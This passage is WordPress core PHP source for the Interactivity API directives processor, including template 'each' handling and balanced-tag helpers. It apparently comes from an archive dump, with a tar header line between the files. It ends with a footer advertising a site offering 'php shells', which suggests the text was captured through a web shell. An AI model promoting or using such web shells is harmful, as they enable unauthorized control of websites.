			 * - Manual server-side directive processing.
			 * - Empty or non-array values.
			 * - Associative arrays because those are deserialized as objects in JS.
			 * - Templates that contain top-level texts because those texts can't be
			 *   identified and removed in the client.
			 */
			if (
				$manual_sdp ||
				empty( $result ) ||
				! is_array( $result ) ||
				! array_is_list( $result ) ||
				! str_starts_with( trim( $inner_content ), '<' ) ||
				! str_ends_with( trim( $inner_content ), '>' )
			) {
				array_pop( $tag_stack );
				return;
			}

			// Extracts the namespace from the directive attribute value.
			$namespace_value         = end( $this->namespace_stack );
			list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value )
				? $this->extract_directive_value( $attribute_value, $namespace_value )
				: array( $namespace_value, null );

			// Processes the inner content for each item of the array.
			$processed_content = '';
			foreach ( $result as $item ) {
				// Creates a new context that includes the current item of the array.
				$this->context_stack[] = array_replace_recursive(
					end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(),
					array( $namespace_value => array( $item_name => $item ) )
				);

				// Processes the inner content with the new context.
				$processed_item = $this->_process_directives( $inner_content );

				if ( null === $processed_item ) {
					// If the HTML is unbalanced, stop processing it.
					array_pop( $this->context_stack );
					return;
				}

				// Adds the `data-wp-each-child` to each top-level tag.
				$i = new WP_Interactivity_API_Directives_Processor( $processed_item );
				while ( $i->next_tag() ) {
					$i->set_attribute( 'data-wp-each-child', true );
					$i->next_balanced_tag_closer_tag();
				}
				$processed_content .= $i->get_updated_html();

				// Removes the current context from the stack.
				array_pop( $this->context_stack );
			}

			// Appends the processed content after the tag closer of the template.
			$p->append_content_after_template_tag_closer( $processed_content );

			// Pops the last tag because it skipped the closing tag of the template tag.
			array_pop( $tag_stack );
		}
	}
}
class-wp-interactivity-api-directives-processor.php000060400000017077151724721450016645 0ustar00<?php
/**
 * Interactivity API: WP_Interactivity_API_Directives_Processor class.
 *
 * @package WordPress
 * @subpackage Interactivity API
 * @since 6.5.0
 */

/**
 * Class used to iterate over the tags of an HTML string and help process the
 * directive attributes.
 *
 * @since 6.5.0
 *
 * @access private
 */
final class WP_Interactivity_API_Directives_Processor extends WP_HTML_Tag_Processor {
	/**
	 * List of tags whose closer tag is not visited by the WP_HTML_Tag_Processor.
	 *
	 * @since 6.5.0
	 * @var string[]
	 */
	const TAGS_THAT_DONT_VISIT_CLOSER_TAG = array(
		'SCRIPT',
		'IFRAME',
		'NOEMBED',
		'NOFRAMES',
		'STYLE',
		'TEXTAREA',
		'TITLE',
		'XMP',
	);

	/**
	 * Returns the content between two balanced template tags.
	 *
	 * It positions the cursor in the closer tag of the balanced template tag,
	 * if it exists.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return string|null The content between the current opener template tag and its matching closer tag or null if it
	 *                     doesn't find the matching closing tag or the current tag is not a template opener tag.
	 */
	public function get_content_between_balanced_template_tags() {
		if ( 'TEMPLATE' !== $this->get_tag() ) {
			return null;
		}

		$positions = $this->get_after_opener_tag_and_before_closer_tag_positions();
		if ( ! $positions ) {
			return null;
		}
		list( $after_opener_tag, $before_closer_tag ) = $positions;

		return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag );
	}

	/**
	 * Sets the content between two balanced tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param string $new_content The string to replace the content between the matching tags.
	 * @return bool Whether the content was successfully replaced.
	 */
	public function set_content_between_balanced_tags( string $new_content ): bool {
		$positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true );
		if ( ! $positions ) {
			return false;
		}
		list( $after_opener_tag, $before_closer_tag ) = $positions;

		$this->lexical_updates[] = new WP_HTML_Text_Replacement(
			$after_opener_tag,
			$before_closer_tag - $after_opener_tag,
			esc_html( $new_content )
		);

		return true;
	}

	/**
	 * Appends content after the closing tag of a template tag.
	 *
	 * It positions the cursor in the closer tag of the balanced template tag,
	 * if it exists.
	 *
	 * @access private
	 *
	 * @param string $new_content The string to append after the closing template tag.
	 * @return bool Whether the content was successfully appended.
	 */
	public function append_content_after_template_tag_closer( string $new_content ): bool {
		if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) {
			return false;
		}

		// Flushes any changes.
		$this->get_updated_html();

		$bookmark = 'append_content_after_template_tag_closer';
		$this->set_bookmark( $bookmark );
		$after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length;
		$this->release_bookmark( $bookmark );

		// Appends the new content.
		$this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content );

		return true;
	}

	/**
	 * Gets the positions right after the opener tag and right before the closer
	 * tag in a balanced tag.
	 *
	 * By default, it positions the cursor in the closer tag of the balanced tag.
	 * If $rewind is true, it seeks back to the opener tag.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false.
	 * @return array|null Start and end byte position, or null when no balanced tag bookmarks.
	 */
	private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) {
		// Flushes any changes.
		$this->get_updated_html();

		$bookmarks = $this->get_balanced_tag_bookmarks();
		if ( ! $bookmarks ) {
			return null;
		}
		list( $opener_tag, $closer_tag ) = $bookmarks;

		$after_opener_tag  = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length;
		$before_closer_tag = $this->bookmarks[ $closer_tag ]->start;

		if ( $rewind ) {
			$this->seek( $opener_tag );
		}

		$this->release_bookmark( $opener_tag );
		$this->release_bookmark( $closer_tag );

		return array( $after_opener_tag, $before_closer_tag );
	}

	/**
	 * Returns a pair of bookmarks for the current opener tag and the matching
	 * closer tag.
	 *
	 * It positions the cursor in the closer tag of the balanced tag, if it
	 * exists.
	 *
	 * @since 6.5.0
	 *
	 * @return array|null A pair of bookmarks, or null if there's no matching closing tag.
	 */
	private function get_balanced_tag_bookmarks() {
		static $i   = 0;
		$opener_tag = 'opener_tag_of_balanced_tag_' . ++$i;

		$this->set_bookmark( $opener_tag );
		if ( ! $this->next_balanced_tag_closer_tag() ) {
			$this->release_bookmark( $opener_tag );
			return null;
		}

		$closer_tag = 'closer_tag_of_balanced_tag_' . ++$i;
		$this->set_bookmark( $closer_tag );

		return array( $opener_tag, $closer_tag );
	}

	/**
	 * Skips processing the content between tags.
	 *
	 * It positions the cursor in the closer tag of the foreign element, if it
	 * exists.
	 *
	 * This function is intended to skip processing SVG and MathML inner content
	 * instead of bailing out the whole processing.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether the foreign content was successfully skipped.
	 */
	public function skip_to_tag_closer(): bool {
		$depth    = 1;
		$tag_name = $this->get_tag();

		while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
			if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) {
				/* translators: 1: SVG or MATH HTML tag. */
				$message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name );
				_doing_it_wrong( __METHOD__, $message, '6.6.0' );
			}
			if ( $this->get_tag() === $tag_name ) {
				if ( $this->has_self_closing_flag() ) {
					continue;
				}
				$depth += $this->is_tag_closer() ? -1 : 1;
			}
		}

		return 0 === $depth;
	}

	/**
	 * Finds the matching closing tag for an opening tag.
	 *
	 * When called while the processor is on an open tag, it traverses the HTML
	 * until it finds the matching closer tag, respecting any in-between content,
	 * including nested tags of the same name. Returns false when called on a
	 * closer tag, a tag that doesn't have a closer tag (void), a tag that
	 * doesn't visit the closer tag, or if no matching closing tag was found.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a matching closing tag was found.
	 */
	public function next_balanced_tag_closer_tag(): bool {
		$depth    = 0;
		$tag_name = $this->get_tag();

		if ( ! $this->has_and_visits_its_closer_tag() ) {
			return false;
		}

		while ( $this->next_tag(
			array(
				'tag_name'    => $tag_name,
				'tag_closers' => 'visit',
			)
		) ) {
			if ( ! $this->is_tag_closer() ) {
				++$depth;
				continue;
			}

			if ( 0 === $depth ) {
				return true;
			}

			--$depth;
		}

		return false;
	}

	/**
	 * Checks whether the current tag has and will visit its matching closer tag.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether the current tag has a closer tag.
	 */
	public function has_and_visits_its_closer_tag(): bool {
		$tag_name = $this->get_tag();

		return null !== $tag_name && (
			! WP_HTML_Processor::is_void( $tag_name ) &&
			! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true )
		);
	}
}

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.